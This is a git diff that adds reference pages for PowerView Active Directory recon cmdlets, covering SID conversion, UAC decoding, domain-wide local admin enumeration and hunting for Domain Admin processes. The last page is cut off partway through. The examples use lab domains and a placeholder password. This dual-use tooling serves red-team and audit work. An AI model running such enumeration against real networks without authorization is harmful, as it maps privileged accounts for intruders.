mode 100755 index 0000000..186e19b --- /dev/null +++ b/docs/Recon/ConvertFrom-SID.md @@ -0,0 +1,126 @@ +# ConvertFrom-SID + +## SYNOPSIS +Converts a security identifier (SID) to a group/user name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName + +## SYNTAX + +``` +ConvertFrom-SID [-ObjectSid] [[-Domain] ] [[-Server] ] + [[-Credential] ] +``` + +## DESCRIPTION +Converts a security identifier string (SID) to a group/user name +using Convert-ADName. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 +``` + +TESTLAB\harmj0y + +### -------------------------- EXAMPLE 2 -------------------------- +``` +"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID +``` + +TESTLAB\WINDOWS2$ +TESTLAB\harmj0y +BUILTIN\Distributed COM Users + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred + +TESTLAB\harmj0y + +## PARAMETERS + +### -ObjectSid +Specifies one or more SIDs to convert. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: SID + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the translation, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the translation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +Specifies an alternate credential to use for the translation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more SID strings on the pipeline. + +## OUTPUTS + +### String + +The converted DOMAIN\username. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/ConvertFrom-UACValue.md b/docs/Recon/ConvertFrom-UACValue.md new file mode 100755 index 0000000..c75f942 --- /dev/null +++ b/docs/Recon/ConvertFrom-UACValue.md @@ -0,0 +1,127 @@ +# ConvertFrom-UACValue + +## SYNOPSIS +Converts a UAC int value to human readable form. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +ConvertFrom-UACValue [-Value] [-ShowAll] +``` + +## DESCRIPTION +This function will take an integer that represents a User Account +Control (UAC) binary blob and will covert it to an ordered +dictionary with each bitwise value broken out. +By default only values +set are displayed- the -ShowAll switch will display all values with +a + next to the ones set. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +ConvertFrom-UACValue -Value 66176 +``` + +Name Value +---- ----- +ENCRYPTED_TEXT_PWD_ALLOWED 128 +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainUser harmj0y | ConvertFrom-UACValue +``` + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll +``` + +Name Value +---- ----- +SCRIPT 1 +ACCOUNTDISABLE 2 +HOMEDIR_REQUIRED 8 +LOCKOUT 16 +PASSWD_NOTREQD 32 +PASSWD_CANT_CHANGE 64 +ENCRYPTED_TEXT_PWD_ALLOWED 128 +TEMP_DUPLICATE_ACCOUNT 256 +NORMAL_ACCOUNT 512+ +INTERDOMAIN_TRUST_ACCOUNT 2048 +WORKSTATION_TRUST_ACCOUNT 4096 +SERVER_TRUST_ACCOUNT 8192 +DONT_EXPIRE_PASSWORD 65536+ +MNS_LOGON_ACCOUNT 131072 +SMARTCARD_REQUIRED 262144 +TRUSTED_FOR_DELEGATION 524288 +NOT_DELEGATED 1048576 +USE_DES_KEY_ONLY 2097152 +DONT_REQ_PREAUTH 4194304 +PASSWORD_EXPIRED 8388608 +TRUSTED_TO_AUTH_FOR_DELEGATION 16777216 +PARTIAL_SECRETS_ACCOUNT 67108864 + +## PARAMETERS + +### -Value +Specifies the integer UAC value to convert. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: UAC, useraccountcontrol + +Required: True +Position: 1 +Default value: 0 +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ShowAll +Switch. +Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### Int + +Accepts an integer representing a UAC binary blob. + +## OUTPUTS + +### System.Collections.Specialized.OrderedDictionary + +An ordered dictionary with the converted UAC fields. + +## NOTES + +## RELATED LINKS + +[https://support.microsoft.com/en-us/kb/305144](https://support.microsoft.com/en-us/kb/305144) + diff --git a/docs/Recon/ConvertTo-SID.md b/docs/Recon/ConvertTo-SID.md new file mode 100755 index 0000000..71e9cea --- /dev/null +++ b/docs/Recon/ConvertTo-SID.md @@ -0,0 +1,120 @@ +# ConvertTo-SID + +## SYNOPSIS +Converts a given user/group name to a security identifier (SID). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain + +## SYNTAX + +``` +ConvertTo-SID [-ObjectName] [[-Domain] ] [[-Server] ] [[-Credential] ] +``` + +## DESCRIPTION +Converts a "DOMAIN\username" syntax to a security identifier (SID) +using System.Security.Principal.NTAccount's translate function. +If alternate +credentials are supplied, then Get-ADObject is used to try to map the name +to a security identifier. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +ConvertTo-SID 'DEV\dfm' +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +'DEV\dfm','DEV\krbtgt' | ConvertTo-SID +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred + +## PARAMETERS + +### -ObjectName +The user/group name to convert, can be 'user' or 'DOMAIN\user' format. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Name, Identity + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the translation, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to for the translation. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: 3 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +Specifies an alternate credential to use for the translation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more username specification strings on the pipeline. + +## OUTPUTS + +### String + +A string representing the SID of the translated name. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Export-PowerViewCSV.md b/docs/Recon/Export-PowerViewCSV.md new file mode 100755 index 0000000..1597249 --- /dev/null +++ b/docs/Recon/Export-PowerViewCSV.md @@ -0,0 +1,117 @@ +# Export-PowerViewCSV + +## SYNOPSIS +Converts objects into a series of comma-separated (CSV) strings and saves the +strings in a CSV file in a thread-safe manner. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Export-PowerViewCSV -InputObject [-Path] [[-Delimiter] ] [-Append] +``` + +## DESCRIPTION +This helper exports an -InputObject to a .csv in a thread-safe manner +using a mutex. +This is so the various multi-threaded functions in +PowerView has a thread-safe way to export output to the same file. +Uses .NET IO.FileStream/IO.StreamWriter objects for speed. + +Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590 + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|' +``` + +## PARAMETERS + +### -InputObject +Specifies the objects to export as CSV strings. + +```yaml +Type: PSObject[] +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Path +Specifies the path to the CSV output file. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delimiter +Specifies a delimiter to separate the property values. +The default is a comma (,) + +```yaml +Type: Char +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: , +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Append +Indicates that this cmdlet adds the CSV output to the end of the specified file. +Without this parameter, Export-PowerViewCSV replaces the file contents without warning. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### PSObject + +Accepts one or more PSObjects on the pipeline. + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://poshcode.org/1590 +http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/](http://poshcode.org/1590 +http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/) + diff --git a/docs/Recon/Find-DomainLocalGroupMember.md b/docs/Recon/Find-DomainLocalGroupMember.md new file mode 100755 index 0000000..be4055f --- /dev/null +++ b/docs/Recon/Find-DomainLocalGroupMember.md @@ -0,0 +1,351 @@ +# Find-DomainLocalGroupMember + +## SYNOPSIS +Enumerates the members of specified local group (default administrators) +for all the targeted machines on the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction + +## SYNTAX + +``` +Find-DomainLocalGroupMember [[-ComputerName] ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerOperatingSystem ] + [-ComputerServicePack ] [-ComputerSiteName ] [-GroupName ] [-Method ] + [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] [-Delay ] [-Jitter ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the members of the specified local +group (default of Administrators) for each machine using Get-NetLocalGroupMember. +By default, the API method is used, but this can be modified with '-Method winnt' +to use the WinNT service provider. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainLocalGroupMember +``` + +Enumerates the local group memberships for all reachable machines in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainLocalGroupMember -Domain dev.testlab.local +``` + +Enumerates the local group memberships for all reachable machines the dev.testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred + +Enumerates the local group memberships for all reachable machines the dev.testlab.local +domain using the alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -GroupName +The local group name to query for users. +If not given, it defaults to "Administrators". + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: True (ByPropertyName) +Accept wildcard characters: False +``` + +### -Method +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: CollectionMethod + +Required: False +Position: Named +Default value: API +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-DomainObjectPropertyOutlier.md b/docs/Recon/Find-DomainObjectPropertyOutlier.md new file mode 100755 index 0000000..280e8ef --- /dev/null +++ b/docs/Recon/Find-DomainObjectPropertyOutlier.md @@ -0,0 +1,261 @@ +# Find-DomainObjectPropertyOutlier + +## SYNOPSIS +Finds user/group/computer objects in AD that have 'outlier' properties set. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer, Get-ForestSchemaClass + +## SYNTAX + +### ClassName (Default) +``` +Find-DomainObjectPropertyOutlier [-ClassName] [-ReferencePropertySet ] [-Domain ] + [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +### ReferenceObject +``` +Find-DomainObjectPropertyOutlier [-ReferencePropertySet ] -ReferenceObject + [-Domain ] [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Enumerates the schema for the specified -ClassName (if passed) by using Get-ForestSchemaClass. +If a -ReferenceObject is passed, the class is extracted from the passed object. +A 'reference' set of property names is then calculated, either from a standard set preserved +for user/group/computers, or from the array of names passed to -ReferencePropertySet, or +from the property names of the passed -ReferenceObject. +These property names are substracted +from the master schema propertyu name list to retrieve a set of 'non-standard' properties. +Every user/group/computer object (depending on determined class) are enumerated, and for each +object, if the object has a 'non-standard' property set, the object samAccountName, property +name, and property value are output to the pipeline. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainObjectPropertyOutlier -User +``` + +Enumerates users in the current domain with 'outlier' properties filled in. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainObjectPropertyOutlier -Group -Domain external.local +``` + +Enumerates groups in the external.local forest/domain with 'outlier' properties filled in. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier +``` + +Enumerates computers in the current domain with 'outlier' properties filled in. + +## PARAMETERS + +### -ClassName +Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'. +If -ReferenceObject is specified, this will be automatically extracted, if possible. + +```yaml +Type: String +Parameter Sets: ClassName +Aliases: Class + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ReferencePropertySet +Specifies an array of property names to diff against the class schema. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ReferenceObject +Specicifes the PowerView user/group/computer object to extract property names +from to use as the reference set. + +```yaml +Type: PSObject +Parameter Sets: ReferenceObject +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.PropertyOutlier + +Custom PSObject with translated object property outliers. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-DomainProcess.md b/docs/Recon/Find-DomainProcess.md new file mode 100755 index 0000000..89dc568 --- /dev/null +++ b/docs/Recon/Find-DomainProcess.md @@ -0,0 +1,517 @@ +# Find-DomainProcess + +## SYNOPSIS +Searches for processes on the domain using WMI, returning processes +that match a particular user specification or process name. + +Thanks to @paulbrandau for the approach idea. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction + +## SYNTAX + +### None (Default) +``` +Find-DomainProcess [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserGroupIdentity ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] [-StopOnSuccess] [-Delay ] + [-Jitter ] [-Threads ] +``` + +### TargetProcess +``` +Find-DomainProcess [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-ProcessName ] [-UserGroupIdentity ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Threads ] +``` + +### UserIdentity +``` +Find-DomainProcess [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserIdentity ] [-UserGroupIdentity ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Threads ] +``` + +### TargetUser +``` +Find-DomainProcess [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserIdentity ] [-UserDomain ] [-UserLDAPFilter ] [-UserSearchBase ] + [-UserGroupIdentity ] [-UserAdminCount] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. +Then for each server the +function enumerates any current processes running with Get-WMIProcess, +searching for processes running under any target user contexts or with the +specified -ProcessName. +If -Credential is passed, it is passed through to +the underlying WMI commands used to enumerate the remote machines. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainProcess +``` + +Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local +``` + +Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by +privileged users in dev.testlab.local. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Find-DomainProcess -ProcessName putty.exe +``` + +Searchings for instances of putty.exe running on the current domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainProcess -Domain testlab.local -Credential $Cred + +Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to query for computers AND users, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerUnconstrained +Switch. +Search computer objects that have unconstrained delegation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: Unconstrained + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ProcessName +Search for processes with one or more specific names. + +```yaml +Type: String[] +Parameter Sets: TargetProcess +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserIdentity +Specifies one or more user identities to search for. + +```yaml +Type: String[] +Parameter Sets: UserIdentity, TargetUser +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserDomain +Specifies the domain to query for users to search for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: TargetUser +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserLDAPFilter +Specifies an LDAP query string that is used to search for target users. + +```yaml +Type: String +Parameter Sets: TargetUser +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserSearchBase +Specifies the LDAP source to search through for target users. +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: TargetUser +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserGroupIdentity +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: GroupName, Group + +Required: False +Position: Named +Default value: Domain Admins +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserAdminCount +Switch. +Search for users users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: TargetUser +Aliases: AdminCount + +Required: False +Position: Named +Default value: False +Accept pipeline input: 